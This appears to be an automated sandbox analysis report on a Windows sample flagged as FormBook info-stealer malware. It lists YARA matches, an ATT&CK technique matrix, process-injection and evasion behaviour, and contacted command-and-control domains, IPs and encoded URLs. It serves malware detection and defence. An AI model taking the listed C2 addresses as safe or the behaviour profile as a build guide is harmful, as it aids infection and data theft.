            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\CALISTI.TTF VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\CALISTB.TTF VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\CALISTBI.TTF VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\BOOKOS.TTF VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\BOOKOSB.TTF VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\BOOKOSI.TTF VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\BOOKOSBI.TTF VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\BOD_R.TTF VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\BOD_I.TTF VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\BOD_B.TTF VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\BOD_BI.TTF VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\BOD_CR.TTF VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\BOD_BLAR.TTF VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\BOD_CI.TTF VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\BOD_CB.TTF VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\BOD_BLAI.TTF VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\BOD_CBI.TTF VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\ITCBLKAD.TTF VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\ARLRDBD.TTF VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\AGENCYR.TTF VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\AGENCYB.TTF VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\BSSYM7.TTF VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\REFSAN.TTF VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\REFSPCL.TTF VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\MTEXTRA.TTF VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\marlett.ttf VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

            Stealing of Sensitive Information:

            barindex
            Yara detected FormBookShow sources
            Source: Yara matchFile source: 6.2.Fu94e0b1TR.exe.400000.0.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 6.2.Fu94e0b1TR.exe.400000.0.raw.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 0.2.Fu94e0b1TR.exe.3c84fc0.2.raw.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 0.2.Fu94e0b1TR.exe.3c3ada0.3.raw.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 00000006.00000002.370028583.0000000000400000.00000040.00000001.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000012.00000002.513567456.0000000000A20000.00000040.00020000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000007.00000000.333414635.000000000FAD6000.00000040.00020000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000012.00000002.513760624.0000000000A50000.00000004.00000001.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000007.00000000.311554346.000000000FAD6000.00000040.00020000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000006.00000002.371224121.0000000000F20000.00000040.00020000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000000.00000002.282740924.0000000003B19000.00000004.00000001.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000012.00000002.512579124.00000000003C0000.00000040.00020000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000006.00000002.371120002.0000000000CF0000.00000040.00020000.sdmp, type: MEMORY

            Remote Access Functionality:

            barindex
            Yara detected FormBookShow sources
            Source: Yara matchFile source: 6.2.Fu94e0b1TR.exe.400000.0.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 6.2.Fu94e0b1TR.exe.400000.0.raw.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 0.2.Fu94e0b1TR.exe.3c84fc0.2.raw.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 0.2.Fu94e0b1TR.exe.3c3ada0.3.raw.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 00000006.00000002.370028583.0000000000400000.00000040.00000001.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000012.00000002.513567456.0000000000A20000.00000040.00020000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000007.00000000.333414635.000000000FAD6000.00000040.00020000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000012.00000002.513760624.0000000000A50000.00000004.00000001.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000007.00000000.311554346.000000000FAD6000.00000040.00020000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000006.00000002.371224121.0000000000F20000.00000040.00020000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000000.00000002.282740924.0000000003B19000.00000004.00000001.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000012.00000002.512579124.00000000003C0000.00000040.00020000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000006.00000002.371120002.0000000000CF0000.00000040.00020000.sdmp, type: MEMORY

            Mitre Att&ck Matrix

            Initial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionExfiltrationCommand and ControlNetwork EffectsRemote Service EffectsImpact
            Valid AccountsShared Modules1Path InterceptionProcess Injection512Masquerading1OS Credential DumpingSecurity Software Discovery221Remote ServicesArchive Collected Data1Exfiltration Over Other Network MediumEncrypted Channel1Eavesdrop on Insecure Network CommunicationRemotely Track Device Without AuthorizationModify System Partition
            Default AccountsScheduled Task/JobBoot or Logon Initialization ScriptsBoot or Logon Initialization ScriptsDisable or Modify Tools1LSASS MemoryProcess Discovery2Remote Desktop ProtocolData from Removable MediaExfiltration Over BluetoothIngress Tool Transfer1Exploit SS7 to Redirect Phone Calls/SMSRemotely Wipe Data Without AuthorizationDevice Lockout
            Domain AccountsAt (Linux)Logon Script (Windows)Logon Script (Windows)Virtualization/Sandbox Evasion31Security Account ManagerVirtualization/Sandbox Evasion31SMB/Windows Admin SharesData from Network Shared DriveAutomated ExfiltrationNon-Application Layer Protocol2Exploit SS7 to Track Device LocationObtain Device Cloud BackupsDelete Device Data
            Local AccountsAt (Windows)Logon Script (Mac)Logon Script (Mac)Process Injection512NTDSRemote System Discovery1Distributed Component Object ModelInput CaptureScheduled TransferApplication Layer Protocol12SIM Card SwapCarrier Billing Fraud
            Cloud AccountsCronNetwork Logon ScriptNetwork Logon ScriptDeobfuscate/Decode Files or Information1LSA SecretsSystem Network Configuration Discovery1SSHKeyloggingData Transfer Size LimitsFallback ChannelsManipulate Device CommunicationManipulate App Store Rankings or Ratings
            Replication Through Removable MediaLaunchdRc.commonRc.commonObfuscated Files or Information4Cached Domain CredentialsSystem Network Connections Discovery1VNCGUI Input CaptureExfiltration Over C2 ChannelMultiband CommunicationJamming or Denial of ServiceAbuse Accessibility Features
            External Remote ServicesScheduled TaskStartup ItemsStartup ItemsSoftware Packing13DCSyncSystem Information Discovery112Windows Remote ManagementWeb Portal CaptureExfiltration Over Alternative ProtocolCommonly Used PortRogue Wi-Fi Access PointsData Encrypted for Impact
            Drive-by CompromiseCommand and Scripting InterpreterScheduled Task/JobScheduled Task/JobFile Deletion1Proc FilesystemNetwork Service ScanningShared WebrootCredential API HookingExfiltration Over Symmetric Encrypted Non-C2 ProtocolApplication Layer ProtocolDowngrade to Insecure ProtocolsGenerate Fraudulent Advertising Revenue

            Behavior Graph

            Hide Legend

            Legend:

            • Process
            • Signature
            • Created File
            • DNS/IP Info
            • Is Dropped
            • Is Windows Process
            • Number of created Registry Values
            • Number of created Files
            • Visual Basic
            • Delphi
            • Java
            • .Net C# or VB.NET
            • C, C++ or other language
            • Is malicious
            • Internet
            behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 502374 Sample: Fu94e0b1TR Startdate: 13/10/2021 Architecture: WINDOWS Score: 100 30 www.fis.photos 2->30 32 fis.photos 2->32 34 www.rjtherealest.com 2->34 42 Snort IDS alert for network traffic (e.g. based on Emerging Threat rules) 2->42 44 Found malware configuration 2->44 46 Malicious sample detected (through community Yara rule) 2->46 48 5 other signatures 2->48 11 Fu94e0b1TR.exe 6 2->11         started        signatures3 process4 signatures5 62 Tries to detect virtualization through RDTSC time measurements 11->62 14 Fu94e0b1TR.exe 11->14         started        17 Fu94e0b1TR.exe 11->17         started        process6 signatures7 64 Modifies the context of a thread in another process (thread injection) 14->64 66 Maps a DLL or memory area into another process 14->66 68 Sample uses process hollowing technique 14->68 70 Queues an APC in another process (thread injection) 14->70 19 explorer.exe 14->19 injected process8 dnsIp9 36 www.shacksolid.com 64.190.62.111, 49795, 80 NBS11696US United States 19->36 38 fbc7888164e64afca05b80bb89630439.pacloudflare.com 172.65.227.72, 49790, 80 CLOUDFLARENETUS United States 19->38 40 4 other IPs or domains 19->40 50 System process connects to network (likely due to code injection or exploit) 19->50 52 Uses netstat to query active network connections and open ports 19->52 23 NETSTAT.EXE 19->23         started        signatures10 process11 signatures12 54 Self deletion via cmd delete 23->54 56 Modifies the context of a thread in another process (thread injection) 23->56 58 Maps a DLL or memory area into another process 23->58 60 Tries to detect virtualization through RDTSC time measurements 23->60 26 cmd.exe 1 23->26         started        process13 process14 28 conhost.exe 26->28         started       

            Screenshots

            Thumbnails

            This section contains all screenshots as thumbnails, including those not shown in the slideshow.

            windows-stand

            Antivirus, Machine Learning and Genetic Malware Detection

            Initial Sample

            No Antivirus matches

            Dropped Files

            No Antivirus matches

            Unpacked PE Files

            SourceDetectionScannerLabelLinkDownload
            6.2.Fu94e0b1TR.exe.400000.0.unpack100%AviraTR/Crypt.ZPACK.GenDownload File

            Domains

            No Antivirus matches

            URLs

            SourceDetectionScannerLabelLink
            https://flow.page/rjdarealest/ef6c/?BJB=7nO80D&yrTlglv8=yyRuLH34I0%Avira URL Cloudsafe
            http://www.galapagosdesign.com/staff/dennis.htmNormaldk0%Avira URL Cloudsafe
            http://www.fontbureau.comI.TTF0%URL Reputationsafe
            http://www.fontbureau.comdito0%Avira URL Cloudsafe
            http://www.fontbureau.comalicu0%Avira URL Cloudsafe
            http://www.founder.com.cn/cn/bThe0%URL Reputationsafe
            http://www.jiyu-kobo.co.jp/jp/D0%Avira URL Cloudsafe
            http://www.tiro.com0%URL Reputationsafe
            http://www.fontbureau.comessed0%URL Reputationsafe
            http://www.goodfont.co.kr0%URL Reputationsafe
            http://www.collada.org/2005/11/COLLADASchema9Done0%URL Reputationsafe
            http://www.sajatypeworks.com0%URL Reputationsafe
            http://www.typography.netD0%URL Reputationsafe
            http://www.founder.com.cn/cn/cThe0%URL Reputationsafe
            www.fis.photos/ef6c/0%Avira URL Cloudsafe
            http://www.galapagosdesign.com/staff/dennis.htm0%URL Reputationsafe
            http://www.jiyu-kobo.co.jp/70%URL Reputationsafe
            http://www.jiyu-kobo.co.jp/ch0%Avira URL Cloudsafe
            http://fontfabrik.com0%URL Reputationsafe
            http://www.apricitee.com/ef6c/?BJB=7nO80D&yrTlglv8=KSHN/72DEJPyd/OuGOIXNFBSZoOhZSSqcZP1Rqc2bg8KEPsXLZdPsQK+HlsXn3Jp1PaC0%Avira URL Cloudsafe
            http://www.galapagosdesign.com/DPlease0%URL Reputationsafe
            http://www.jiyu-kobo.co.jp/)0%URL Reputationsafe
            http://www.jiyu-kobo.co.jp/(0%URL Reputationsafe
            http://www.sandoll.co.kr0%URL Reputationsafe
            http://www.urwpp.deDPlease0%URL Reputationsafe
            http://www.fontbureau.com70%Avira URL Cloudsafe
            http://www.urwpp.de0%URL Reputationsafe
            http://www.zhongyicts.com.cn0%URL Reputationsafe
            http://www.sakkal.com0%URL Reputationsafe
            http://www.fontbureau.comD0%Avira URL Cloudsafe
            http://www.fontbureau.comR.TTF0%URL Reputationsafe
            http://www.fontbureau.comtuta0%Avira URL Cloudsafe
            http://www.galapagosdesign.com/staff/dennis.htmS0%Avira URL Cloudsafe
            http://www.galapagosdesign.com/k0%Avira URL Cloudsafe
            http://www.galapagosdesign.com/0%URL Reputationsafe
            http://www.jiyu-kobo.co.jp/nt0%Avira URL Cloudsafe
            http://www.fontbureau.comF0%URL Reputationsafe
            http://www.jiyu-kobo.co.jp//lpk0%Avira URL Cloudsafe
            http://www.tiro.coma-e0%Avira URL Cloudsafe
            http://www.jiyu-kobo.co.jp/Y0ro0%Avira URL Cloudsafe
            http://www.jiyu-kobo.co.jp/D0%URL Reputationsafe
            http://www.jiyu-kobo.co.jp/jp/0%URL Reputationsafe
            http://www.urwpp.deMT0%Avira URL Cloudsafe
            http://www.carterandcone.coml0%URL Reputationsafe
            http://www.shacksolid.com/ef6c/?yrTlglv8=JeohSOzXiZYIapiQlSWyFy7AWxQU0a2IMxMIOt5NBtSaZYcWimwRehmIZ/KtIrBMaY3r&BJB=7nO80D0%Avira URL Cloudsafe
            http://www.founder.com.cn/cn/0%URL Reputationsafe
            http://www.galapagosdesign.com/staff/denQ0%Avira URL Cloudsafe
            http://www.jiyu-kobo.co.jp/y0%URL Reputationsafe
            http://www.fontbureau.comk0%URL Reputationsafe
            http://www.founder.com.cn/cn0%URL Reputationsafe
            http://www.jiyu-kobo.co.jp/ms0%Avira URL Cloudsafe
            http://www.jiyu-kobo.co.jp/v0%URL Reputationsafe
            http://www.jiyu-kobo.co.jp/t0%URL Reputationsafe
            http://www.fontbureau.comt0%URL Reputationsafe
            http://www.jiyu-kobo.co.jp/0%URL Reputationsafe
            http://www.jiyu-kobo.co.jp/k0%URL Reputationsafe
            http://www.jiyu-kobo.co.jp/nly0%Avira URL Cloudsafe
            http://www.fontbureau.comFk0%Avira URL Cloudsafe

            Domains and IPs

            Contacted Domains

            NameIPActiveMaliciousAntivirus DetectionReputation
            fbc7888164e64afca05b80bb89630439.pacloudflare.com
            		172.65.227.72
            		truetrue
              		unknown
              www.rjtherealest.com
              		74.208.236.145
              		truefalse
                		unknown
                www.shacksolid.com
                		64.190.62.111
                		truetrue
                  		unknown
                  fis.photos
                  		192.0.78.24
                  		truetrue
                    		unknown
                    www.apricitee.com
                    		unknown
                    		unknowntrue
                      		unknown
                      www.fis.photos
                      		unknown
                      		unknowntrue
                        		unknown
                        www.instatechnovelz.com
                        		unknown
                        		unknowntrue
                          		unknown
                          www.brondairy.com
                          		unknown
                          		unknowntrue
                            		unknown

                            Contacted URLs

                            NameMaliciousAntivirus DetectionReputation
                            www.fis.photos/ef6c/true
                            • Avira URL Cloud: safe
                            		low
                            http://www.apricitee.com/ef6c/?BJB=7nO80D&yrTlglv8=KSHN/72DEJPyd/OuGOIXNFBSZoOhZSSqcZP1Rqc2bg8KEPsXLZdPsQK+HlsXn3Jp1PaCtrue
                            • Avira URL Cloud: safe
                            		unknown
                            http://www.shacksolid.com/ef6c/?yrTlglv8=JeohSOzXiZYIapiQlSWyFy7AWxQU0a2IMxMIOt5NBtSaZYcWimwRehmIZ/KtIrBMaY3r&BJB=7nO80Dtrue
                            • Avira URL Cloud: safe
                            		unknown

                            URLs from Memory and Binaries

                            NameSourceMaliciousAntivirus DetectionReputation
                            https://flow.page/rjdarealest/ef6c/?BJB=7nO80D&yrTlglv8=yyRuLH34INETSTAT.EXE, 00000012.00000002.518424149.00000000033D2000.00000004.00020000.sdmpfalse
                            • Avira URL Cloud: safe
                            		unknown
                            http://www.fontbureau.com/designersGFu94e0b1TR.exe, 00000000.00000002.285470132.0000000006BF2000.00000004.00000001.sdmpfalse
                              		high
                              http://www.galapagosdesign.com/staff/dennis.htmNormaldkFu94e0b1TR.exe, 00000000.00000003.264185208.000000000597A000.00000004.00000001.sdmpfalse
                              • Avira URL Cloud: safe
                              		unknown
                              http://www.fontbureau.comI.TTFFu94e0b1TR.exe, 00000000.00000003.260965748.000000000596F000.00000004.00000001.sdmpfalse
                              • URL Reputation: safe
                              		unknown
                              http://www.fontbureau.com/designers/?Fu94e0b1TR.exe, 00000000.00000003.257106060.0000000005999000.00000004.00000001.sdmp, Fu94e0b1TR.exe, 00000000.00000002.285470132.0000000006BF2000.00000004.00000001.sdmpfalse
                                		high
                                http://www.fontbureau.comditoFu94e0b1TR.exe, 00000000.00000003.260965748.000000000596F000.00000004.00000001.sdmpfalse
                                • Avira URL Cloud: safe
                                		unknown
                                http://www.fontbureau.com/designersKFu94e0b1TR.exe, 00000000.00000003.267018453.0000000005999000.00000004.00000001.sdmpfalse
                                  		high
                                  http://www.fontbureau.comalicuFu94e0b1TR.exe, 00000000.00000003.260583802.000000000596F000.00000004.00000001.sdmpfalse
                                  • Avira URL Cloud: safe
                                  		unknown
                                  http://www.founder.com.cn/cn/bTheFu94e0b1TR.exe, 00000000.00000002.285470132.0000000006BF2000.00000004.00000001.sdmpfalse
                                  • URL Reputation: safe
                                  		unknown
                                  http://www.jiyu-kobo.co.jp/jp/DFu94e0b1TR.exe, 00000000.00000003.254492265.000000000596C000.00000004.00000001.sdmpfalse
                                  • Avira URL Cloud: safe
                                  		unknown
                                  http://www.fontbureau.com/designers?Fu94e0b1TR.exe, 00000000.00000002.285470132.0000000006BF2000.00000004.00000001.sdmpfalse
                                    		high
                                    http://www.tiro.comFu94e0b1TR.exe, 00000000.00000002.285470132.0000000006BF2000.00000004.00000001.sdmpfalse
                                    • URL Reputation: safe
                                    		unknown
                                    http://www.fontbureau.com/designersFu94e0b1TR.exe, 00000000.00000002.285470132.0000000006BF2000.00000004.00000001.sdmpfalse
                                      		high
                                      http://www.fontbureau.comessedFu94e0b1TR.exe, 00000000.00000003.260965748.000000000596F000.00000004.00000001.sdmpfalse
                                      • URL Reputation: safe
                                      		unknown
                                      http://www.goodfont.co.krFu94e0b1TR.exe, 00000000.00000002.285470132.0000000006BF2000.00000004.00000001.sdmpfalse
                                      • URL Reputation: safe
                                      		unknown
                                      http://www.fontbureau.com/designersivaFu94e0b1TR.exe, 00000000.00000003.267018453.0000000005999000.00000004.00000001.sdmpfalse
                                        		high
                                        http://www.fontbureau.com/designersPFu94e0b1TR.exe, 00000000.00000003.258524788.0000000005999000.00000004.00000001.sdmpfalse
                                          		high
                                          http://www.collada.org/2005/11/COLLADASchema9DoneFu94e0b1TR.exe, 00000000.00000002.277178151.0000000002B11000.00000004.00000001.sdmpfalse
                                          • URL Reputation: safe
                                          		unknown
                                          http://www.sajatypeworks.comFu94e0b1TR.exe, 00000000.00000002.285470132.0000000006BF2000.00000004.00000001.sdmpfalse
                                          • URL Reputation: safe
                                          		unknown
                                          http://www.typography.netDFu94e0b1TR.exe, 00000000.00000002.285470132.0000000006BF2000.00000004.00000001.sdmpfalse
                                          • URL Reputation: safe
                                          		unknown
                                          http://www.founder.com.cn/cn/cTheFu94e0b1TR.exe, 00000000.00000002.285470132.0000000006BF2000.00000004.00000001.sdmpfalse
                                          • URL Reputation: safe
                                          		unknown
                                          http://www.galapagosdesign.com/staff/dennis.htmFu94e0b1TR.exe, 00000000.00000002.285470132.0000000006BF2000.00000004.00000001.sdmpfalse
                                          • URL Reputation: safe
                                          		unknown
                                          http://www.jiyu-kobo.co.jp/7Fu94e0b1TR.exe, 00000000.00000003.254233996.0000000005963000.00000004.00000001.sdmpfalse
                                          • URL Reputation: safe
                                          		unknown
                                          http://www.jiyu-kobo.co.jp/chFu94e0b1TR.exe, 00000000.00000003.254233996.0000000005963000.00000004.00000001.sdmpfalse
                                          • Avira URL Cloud: safe
                                          		unknown
                                          http://fontfabrik.comFu94e0b1TR.exe, 00000000.00000002.285470132.0000000006BF2000.00000004.00000001.sdmpfalse
                                          • URL Reputation: safe
                                          		unknown
                                          http://www.galapagosdesign.com/DPleaseFu94e0b1TR.exe, 00000000.00000002.285470132.0000000006BF2000.00000004.00000001.sdmpfalse
                                          • URL Reputation: safe
                                          		unknown
                                          http://www.jiyu-kobo.co.jp/)Fu94e0b1TR.exe, 00000000.00000003.254233996.0000000005963000.00000004.00000001.sdmpfalse
                                          • URL Reputation: safe
                                          		unknown
                                          http://www.jiyu-kobo.co.jp/(Fu94e0b1TR.exe, 00000000.00000003.254233996.0000000005963000.00000004.00000001.sdmpfalse
                                          • URL Reputation: safe
                                          		unknown
                                          http://www.fonts.comFu94e0b1TR.exe, 00000000.00000002.285470132.0000000006BF2000.00000004.00000001.sdmpfalse
                                            		high
                                            http://www.sandoll.co.krFu94e0b1TR.exe, 00000000.00000002.285470132.0000000006BF2000.00000004.00000001.sdmpfalse
                                            • URL Reputation: safe
                                            		unknown
                                            http://www.urwpp.deDPleaseFu94e0b1TR.exe, 00000000.00000002.285470132.0000000006BF2000.00000004.00000001.sdmpfalse
                                            • URL Reputation: safe
                                            		unknown
                                            http://www.fontbureau.com7Fu94e0b1TR.exe, 00000000.00000003.259708004.000000000596F000.00000004.00000001.sdmpfalse
                                            • Avira URL Cloud: safe
                                            		unknown
                                            http://www.urwpp.deFu94e0b1TR.exe, 00000000.00000003.261217392.000000000596E000.00000004.00000001.sdmpfalse
                                            • URL Reputation: safe
                                            		unknown
                                            http://www.zhongyicts.com.cnFu94e0b1TR.exe, 00000000.00000002.285470132.0000000006BF2000.00000004.00000001.sdmpfalse
                                            • URL Reputation: safe
                                            		unknown
                                            http://www.sakkal.comFu94e0b1TR.exe, 00000000.00000002.285470132.0000000006BF2000.00000004.00000001.sdmpfalse
                                            • URL Reputation: safe
                                            		unknown
                                            http://www.fontbureau.comDFu94e0b1TR.exe, 00000000.00000003.260965748.000000000596F000.00000004.00000001.sdmpfalse
                                            • Avira URL Cloud: safe
                                            		unknown
                                            http://www.fontbureau.comR.TTFFu94e0b1TR.exe, 00000000.00000003.259708004.000000000596F000.00000004.00000001.sdmpfalse
                                            • URL Reputation: safe
                                            		unknown
                                            http://www.fontbureau.comtutaFu94e0b1TR.exe, 00000000.00000003.259708004.000000000596F000.00000004.00000001.sdmpfalse
                                            • Avira URL Cloud: safe
                                            		unknown
                                            http://www.galapagosdesign.com/staff/dennis.htmSFu94e0b1TR.exe, 00000000.00000003.263989086.0000000005999000.00000004.00000001.sdmpfalse
                                            • Avira URL Cloud: safe
                                            		unknown
                                            http://www.galapagosdesign.com/kFu94e0b1TR.exe, 00000000.00000003.263851133.0000000005999000.00000004.00000001.sdmpfalse
                                            • Avira URL Cloud: safe
                                            		unknown
                                            http://www.fontbureau.com/designers/%Fu94e0b1TR.exe, 00000000.00000003.257245826.000000000599C000.00000004.00000001.sdmpfalse
                                              		high
                                              http://www.apache.org/licenses/LICENSE-2.0Fu94e0b1TR.exe, 00000000.00000003.252645289.00000000059A1000.00000004.00000001.sdmpfalse
                                                		high
                                                http://www.fontbureau.comFu94e0b1TR.exe, 00000000.00000002.285145562.0000000005964000.00000004.00000001.sdmpfalse
                                                  		high
                                                  http://www.galapagosdesign.com/Fu94e0b1TR.exe, 00000000.00000003.263851133.0000000005999000.00000004.00000001.sdmpfalse
                                                  • URL Reputation: safe
                                                  		unknown
                                                  http://www.jiyu-kobo.co.jp/ntFu94e0b1TR.exe, 00000000.00000003.253958296.0000000005968000.00000004.00000001.sdmpfalse
                                                  • Avira URL Cloud: safe
                                                  		unknown
                                                  http://www.fontbureau.comFFu94e0b1TR.exe, 00000000.00000003.260965748.000000000596F000.00000004.00000001.sdmpfalse
                                                  • URL Reputation: safe
                                                  		unknown
                                                  http://www.fontbureau.com/designers/cabarga.htmlrFu94e0b1TR.exe, 00000000.00000003.260583802.000000000596F000.00000004.00000001.sdmpfalse
                                                    		high
                                                    http://www.jiyu-kobo.co.jp//lpkFu94e0b1TR.exe, 00000000.00000003.254233996.0000000005963000.00000004.00000001.sdmpfalse
                                                    • Avira URL Cloud: safe
                                                    		unknown
                                                    http://www.tiro.coma-eFu94e0b1TR.exe, 00000000.00000003.252359089.0000000005999000.00000004.00000001.sdmpfalse
                                                    • Avira URL Cloud: safe
                                                    		unknown
                                                    http://www.jiyu-kobo.co.jp/Y0roFu94e0b1TR.exe, 00000000.00000003.254233996.0000000005963000.00000004.00000001.sdmpfalse
                                                    • Avira URL Cloud: safe
                                                    		unknown
                                                    http://www.jiyu-kobo.co.jp/DFu94e0b1TR.exe, 00000000.00000003.254233996.0000000005963000.00000004.00000001.sdmpfalse
                                                    • URL Reputation: safe
                                                    		unknown
                                                    http://www.jiyu-kobo.co.jp/jp/Fu94e0b1TR.exe, 00000000.00000003.254233996.0000000005963000.00000004.00000001.sdmpfalse
                                                    • URL Reputation: safe
                                                    		unknown
                                                    http://www.fontbureau.comdFu94e0b1TR.exe, 00000000.00000003.260965748.000000000596F000.00000004.00000001.sdmpfalse
                                                      		unknown
                                                      http://www.urwpp.deMTFu94e0b1TR.exe, 00000000.00000003.261217392.000000000596E000.00000004.00000001.sdmpfalse
                                                      • Avira URL Cloud: safe
                                                      		unknown
                                                      http://www.carterandcone.comlFu94e0b1TR.exe, 00000000.00000002.285470132.0000000006BF2000.00000004.00000001.sdmpfalse
                                                      • URL Reputation: safe
                                                      		unknown
                                                      http://www.founder.com.cn/cn/Fu94e0b1TR.exe, 00000000.00000003.252293628.0000000005999000.00000004.00000001.sdmpfalse
                                                      • URL Reputation: safe
                                                      		unknown
                                                      http://www.galapagosdesign.com/staff/denQFu94e0b1TR.exe, 00000000.00000003.264392875.000000000599E000.00000004.00000001.sdmpfalse
                                                      • Avira URL Cloud: safe
                                                      		unknown
                                                      http://www.jiyu-kobo.co.jp/yFu94e0b1TR.exe, 00000000.00000003.253827230.000000000596D000.00000004.00000001.sdmpfalse
                                                      • URL Reputation: safe
                                                      		unknown
                                                      http://www.fontbureau.com/designers/cabarga.htmlNFu94e0b1TR.exe, 00000000.00000002.285470132.0000000006BF2000.00000004.00000001.sdmpfalse
                                                        		high
                                                        http://www.fontbureau.comkFu94e0b1TR.exe, 00000000.00000003.260583802.000000000596F000.00000004.00000001.sdmpfalse
                                                        • URL Reputation: safe
                                                        		unknown
                                                        http://www.founder.com.cn/cnFu94e0b1TR.exe, 00000000.00000003.252060604.000000000599A000.00000004.00000001.sdmpfalse
                                                        • URL Reputation: safe
                                                        		unknown
                                                        http://www.jiyu-kobo.co.jp/msFu94e0b1TR.exe, 00000000.00000003.254233996.0000000005963000.00000004.00000001.sdmpfalse
                                                        • Avira URL Cloud: safe
                                                        		unknown
                                                        http://www.fontbureau.com/designers/frere-jones.htmlFu94e0b1TR.exe, 00000000.00000003.259708004.000000000596F000.00000004.00000001.sdmp, Fu94e0b1TR.exe, 00000000.00000002.285470132.0000000006BF2000.00000004.00000001.sdmpfalse
                                                          		high
                                                          http://www.jiyu-kobo.co.jp/vFu94e0b1TR.exe, 00000000.00000003.254233996.0000000005963000.00000004.00000001.sdmpfalse
                                                          • URL Reputation: safe
                                                          		unknown
                                                          http://www.jiyu-kobo.co.jp/tFu94e0b1TR.exe, 00000000.00000003.254492265.000000000596C000.00000004.00000001.sdmpfalse
                                                          • URL Reputation: safe
                                                          		unknown
                                                          http://www.fontbureau.com/designers/cabarga.htmlFu94e0b1TR.exe, 00000000.00000003.260583802.000000000596F000.00000004.00000001.sdmpfalse
                                                            		high
                                                            http://www.fontbureau.comtFu94e0b1TR.exe, 00000000.00000003.259708004.000000000596F000.00000004.00000001.sdmpfalse
                                                            • URL Reputation: safe
                                                            		unknown
                                                            http://www.jiyu-kobo.co.jp/Fu94e0b1TR.exe, 00000000.00000003.254233996.0000000005963000.00000004.00000001.sdmp, Fu94e0b1TR.exe, 00000000.00000003.254492265.000000000596C000.00000004.00000001.sdmpfalse
                                                            • URL Reputation: safe
                                                            		unknown
                                                            http://www.jiyu-kobo.co.jp/kFu94e0b1TR.exe, 00000000.00000003.254492265.000000000596C000.00000004.00000001.sdmpfalse
                                                            • URL Reputation: safe
                                                            		unknown
